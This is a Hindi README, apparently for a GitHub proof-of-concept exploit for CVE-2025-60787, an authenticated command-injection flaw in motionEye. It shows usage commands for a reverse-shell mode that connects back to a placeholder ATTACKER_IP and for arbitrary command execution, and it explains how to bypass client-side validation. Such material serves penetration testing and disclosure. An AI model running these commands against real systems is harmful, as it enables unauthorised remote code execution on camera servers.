
CVE-2025-60787 के लिए Python PoC, motionEye <= 0.43.1b4 में अस्वच्छित image_file_name कॉन्फ़िगरेशन के माध्यम से प्रमाणित OS कमांड इंजेक्शन RCE
motionEye <= 0.43.1b4 में अप्रमाणित मोशन कॉन्फ़िग पैरामीटर के माध्यम से प्रमाणित दूरस्थ कोड निष्पादन
लेखक: d3vn0mi
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-60787 |
| CVSS स्कोर | 7.2 (उच्च) |
| प्रकार | OS कमांड इंजेक्शन (CWE-78) |
| प्रभावित | motionEye <= 0.43.1b4 |
| समाधान | 0.43.1b5 |
motionEye image_file_name जैसे कॉन्फ़िगरेशन फ़ील्ड में मनमानी स्ट्रिंग्स स्वीकार करता है और उन्हें सीधे Motion कॉन्फ़िगरेशन फ़ाइलों (/etc/motioneye/camera-*.conf) में लिखता है। जब Motion सेवा पुनरारंभ होती है, तो यह इन फ़ील्ड्स को शेल-विस्तार योग्य स्ट्रिंग्स के रूप में व्याख्या करता है, जिससे एक प्रमाणित हमलावर मनमाना OS कमांड इंजेक्ट और निष्पादित कर सकता है।
वेब UI में इन फ़ील्ड्स के लिए क्लाइंट-साइड सत्यापन शामिल है, लेकिन सीधे तैयार किए गए API अनुरोध भेजकर इसे आसानी से बायपास किया जा सकता है।
image_file_name वैल्यू के साथ संशोधित कॉन्फ़िगरेशन POST करेंcapture_mode: interval-snapshots के माध्यम से)requests लाइब्रेरीgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
यह एक्सप्लॉइट दो मोड्स का समर्थन करता है: रिवर्स शेल और कमांड निष्पादन।
अपनी मशीन पर एक लिसनर शुरू करें, फिर चलाएं:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है।
| फ़्लैग | विवरण |
|---|
--url | पोर्ट सहित लक्ष्य motionEye URL |
--user | motionEye उपयोगकर्ता नाम |
--password | motionEye पासवर्ड |
-i / --host | लिसनर IP (रिवर्स शेल मोड) |
--port | लिसनर पोर्ट (रिवर्स शेल मोड) |
-e / --exec | निष्पादित करने का कमांड (कमांड मोड) |
--camera-id | किसी विशेष कैमरा ID को लक्षित करें |
--sh | /bin/bash के बजाय /bin/sh का उपयोग करें |
--no-verify | TLS प्रमाणपत्र सत्यापन छोड़ें |
--proxy | प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें (जैसे http://127.0.0.1:8080) |